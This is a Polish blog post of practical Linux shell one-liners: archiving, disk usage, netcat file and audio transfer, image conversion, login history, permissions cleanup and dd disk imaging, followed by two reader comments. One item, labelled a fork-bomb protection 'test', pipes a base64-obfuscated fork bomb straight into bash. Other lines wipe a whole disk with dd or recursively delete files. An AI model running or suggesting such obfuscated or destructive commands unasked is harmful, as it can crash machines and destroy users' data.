Praktyczne przykłady wykorzystania środowiska tekstowego

Każdy użytkownik komputera w trakcie wykonywania codziennych czynności, takich jak sprawdzanie poczty, kopiowanie zdjęć z aparatu, tworzenie kopii zapasowych, napotyka na problemy, których rozwiązanie wydaje się być skomplikowane lub wymagać pewnego wyspecjalizowanego programu. Celem tego artykułu będzie pokazanie, że większość takich czynności da się wykonać bardzo prosto, szybko i sprawnie, korzystając z narzędzi oferowanych przez środowisko GNU/Linux.

Uwaga! Przykłady działają również w systemach Mac OS X (standardowo) oraz Windows (po doinstalowaniu np. Cygwina). Nie wszystkie :)

Nie jest to lista zebranych z Internetu przykładów, a napisane przeze mnie fragmenty, które uważam, że każdy powinien znać (nie tylko po to, żeby uprościć sobie życie, ale również ze względów bezpieczeństwa). Dla tych mniej świadomych – niektóre przykłady mogą być zaskakujące, ale działają!

 

Spakowanie i skompresowanie zawartości katalogu

$ tar -c Obrazy/ -vzf Obrazy.tar.gz

Spowoduje spakowanie katalogu Obrazy/ korzystając z kompresji gzip (opcja -z), wypisywanie szczegółów (listy plików). Plik wynikowy zostanie zapisany w pliku Obrazy.tar.gz

 

Rozpakowanie archiwum

$ tar -zvxf Obrazy.tar.gz

Dekompresja (-z), rozpakowanie (-x), wypisywanie szczegółów (listy plików) (-v) archiwum Obrazy.tar.gz (-f).

 

Sprawdzenie rozmiaru katalogu

$ du -sh Obrazy/

Wyświetli czytelny dla człowieka (-h) rozmiar katalogu Obrazy

 

Wylistowanie rozmiaru wszystkich plików wewnątrz katalogu

$ du -h Obrazy/

Wyświetli czytelny dla człowieka (-h) rozmiar wszystkich plików i katalogów wewnąrz Obrazy/. Dla plików listowany będzie ich rozmiar, dla katalogów podsumowanie (rozmiar zawartości).

 

Wylistowanie dziesięciu największych plików/katalogów w podanej lokalizacji

$ du -m Obrazy/ | sort -n -k1 | tail

Poda rozmiar w MiB (-m) dziesięciu największych plików/katalogów w Obrazy/.

 

Przesłanie pliku do innego komputera w sieci

$ nc -l -p 9999 -vvv < Obrazek.jpg

Spowoduje rozpoczecie nasłuchiwania na porcie nr 9999 i w momencie nawiąznia połączenia – przesłanie pliku o nazwie Obrazek.jpg.

 

Odbieranie pliku z innego komputera w sieci

$ nc 192.168.1.100 9999 > Obrazek.jpg

Otwarcie połączenia z komputerem o adresie IP 192.168.1.100 na porcie nr 9999 i zapisanie wysyłanej treści w pliku Obrazek.jpg.

 

Przesłanie katalogu lub wielu plików do innego komputera w sieci

$ tar -c Zdjęcia/ -zf - | nc -l -p 9999 -vvv

Spakowanie i skompresowanie katalogu Zdjęcia/ i zapisanie rezultatu archiwum na standardowe wyjście, następnie przekierowanie go do programu nc, który nasłuchuje na porcie 9999 (po nawiązaniu połaczneia nastąpi transmisja danych).

 

Odebranie archiwum z innego komputera w sieci

$ nc 192.168.1.100 9999 > archiwum.tar.gz

Jak w przykładzie z obrazkiem…

 

Odebranie i jednoczesne wypakowanie archiwum z innego komputera w sieci

$ nc 192.168.1.100 9999 | tar -zvxf -

Spowoduje wypakowanie (w bieżącym katalogu) archiwum transmitowanego z komputera o adresie IP 192.168.1.100

 

Masowa zmiana rozmiaru zdjęć

$ mkdir male
$ convert -resize 800x600 *.JPG male/zdjecia-z-wakacji.jpg

Uruchomienie powyższego przykładu spowoduje utworzneie katalogu o nazwie male oraz zmianę rozmiaru wszystkich obrazków (do wielkości 800×600) o nazwie pasującej do *.JPG i zapisanie ich w katalogu male/ z nazwą zdjęcia-z-wakacji.jpg (z automatyczną numeracją).

 

Tworzenie dokumentu PDF z wielu zdjęć

$ convert -page A4 strona-1.jpg strona-2.jpg ksero-dowodu.jpg wniosek.pdf

Tworzymy dokument PDF (rozmiar A4) o nazwie wniosek.pdf z plików: strona-1.jpg strona-2.jpg ksero-dowodu.jpg.

 

Historia uruchamiania systemu

$ last reboot
 

Szczegółowa historia logowań użytkowników (wraz z historią uruchamiania systemu)

$ last -F

Wyświetli dokładną datę logowania/wylogowania użytkowników oraz daty włączenia/wyłączenia systemu.

 

Data ostatniego uruchomienia systemu

$ last -F reboot | head -n1
 

Daty logowania/wylogowania konkretnego użytkownika

$ last -F nazwa_uzytkownika
 

Lista podłączonych dysków/pamięci i ich partycji

$ fdisk -l
 

Formatowanie partycji na FAT32 + ustawienie nazwy

$ mkfs.vfat -F32 -n "MojaNazwa" /dev/sdb1

Uwaga! Należy upewnić sie, że partycja /dev/sdb1 jest na pewno tą, którą chcemy sformatować (patrz przykład wyżej).

 

Wyświetlenie plików/katalogów które mogą być zmodyfikowane lub usunięte przez dowolną osobę

$ find ~/ -perm -o=w

Wyszuka w katalogu ~/ (katalog domowy zalogowane użytkownika) wszystkie pliki i katalogi które mają ustawiony bit zezwolenia na zapis dowolnej osobie.

 

Wyświetlenie plików/katalogów które mogą być zmodyfikowane lub usuniete przez dowolną osobę i natychmiastowa zmiana uprawnień na bezpieczne

$ find ~/ -perm -o=w -execdir chmod -v o-w '{}' \;
 

Usunięcie wszystkich plików do których mamy prawo do zapisu ale nie jestesmy ich właścicielami

$ find / \( \( -not -user $(id -u) -and -not -group $(id -g) -and -perm -o=w \) \
-or \( -not -user $(id -u) -and -group $(id -g) \
-and \( -perm -g=w -or -perm -o=w \) \) \) \
-okdir rm -rv '{}' \;

Przy każdym pliku/katalogu mamy dodatkowo możliwość zadecydownia czy go usunąć (-okdir). Nie róbcie tego poza domem :)

 

Usunięcie wszystkich plików *.o z projektu

$ find Projekt/ -name \*.o -delete -print
 

Znalezienie plików zmodyfikowanych przez ostatnie 3 godziny i skopiowanie ich na pendrive

$ find ~/ -mtime 3 -execdir cp -v '{}' /media/pendrive \;
 

Test zabezpieczenia przed fork bombą

$ echo ZigpIHsgZiB8IGYmIH07IGYgPiAvZGV2L251bGwgMj4mMSAmCg== | base64 -d | bash

Test może okazać się jednorazowy :)

 

Stworzenie obrazu ISO płyty CD/DVD

$ dd if=/dev/cdrom of=Obraz.iso bs=1M

Utworzenie obrazu ISO9660 z urzadzenia /dev/cdrom, zapisanie go w pliku Obraz.iso, za rozmiar bloku (odczytu i zapisu) przyjmujemy 1M

 

Stworzenie obrazu ISO płyty CD/DVD + pasek postępu

$ dd if=/dev/cdrom bs=1M | pv -pterb > Obraz.iso

Jak wyżej…

 

Kopiowanie katalogu na pendrive + pasek postępu

$ tar -c Obrazy/ -f - | pv -pterb | tar -C /media/pendrive -xf -
 

Przesłanie archiwum przez sieć + pasek postępu

$ pv -pterb archiwum.tar | nc 192.168.1.100 9999
 

Tworzenie obrazu karty sd/pendrive/dysku (razem z tablicą partycji)

$ dd if=/dev/sda of=sda.image bs=1M noerror

Dodajemy pasek postępu:

$ dd if=/dev/sda bs=1M noerror | pv -pterb > sda.dd

Nagranie obrazu na urządzenie:

$ pv -pterb sda.dd | dd of=/dev/sda bs=1M noerror
 

Zerowanie dysku (wraz z tablicą partycji)

$ dd if=/dev/zero of=/dev/sda bs=4M
 

Przesłanie (na żywo) dźwięku z mikrofonu do innego komputera

$ arecord | nc 192.168.1.100 9999

Odsłuchanie na komputerze 192.168.1.100:

$ nc -l -p 9999 | aplay
 

Test prędkości odczytu z dysku twardego/pendrive/karty

$ sudo hdparm -t /dev/sda
 

Wykresy prędkości przesyłu danych w sieci

$ nload eth0
 

Lista wszystkich połączeń TCP/UDP wraz z procesami, które ich używają

$ netstat -tup --numeric-ports

Ta lista będzie coraz większa…

Share:
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google Bookmarks
  • Blogplay
  • Blip
  • Blogger.com
  • Gadu-Gadu Live
  • Google Buzz
  • LinkedIn
  • MySpace
  • Twitter
  • Wykop
  • Śledzik

2 thoughts on “Praktyczne przykłady wykorzystania środowiska tekstowego

  1. ibiss pisze:

    Świetny zbiór poleceń. Oczywiście udał się elment zaskoczenia ze względu na zmiane rozmiaru zdjęć.

  2. Arkadiusz Wernicki pisze:

    Lista świetna, teraz by się przydał plik, któremu podajemy co chcemy zrobić a on dobiera polecenia np. zlecam pakuj obrazy/*.jpg /archiwum/moje.gzzlecam rozmiar /obrazy/*.jpg 800×600

Odpowiedz na „Arkadiusz WernickiAnuluj pisanie odpowiedzi

Twój adres e-mail nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Please type the characters of this captcha image in the input box

Udowodnij, że jesteś człowiekiem - przepisz tekst z obrazka

Możesz użyć następujących tagów oraz atrybutów HTML-a: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>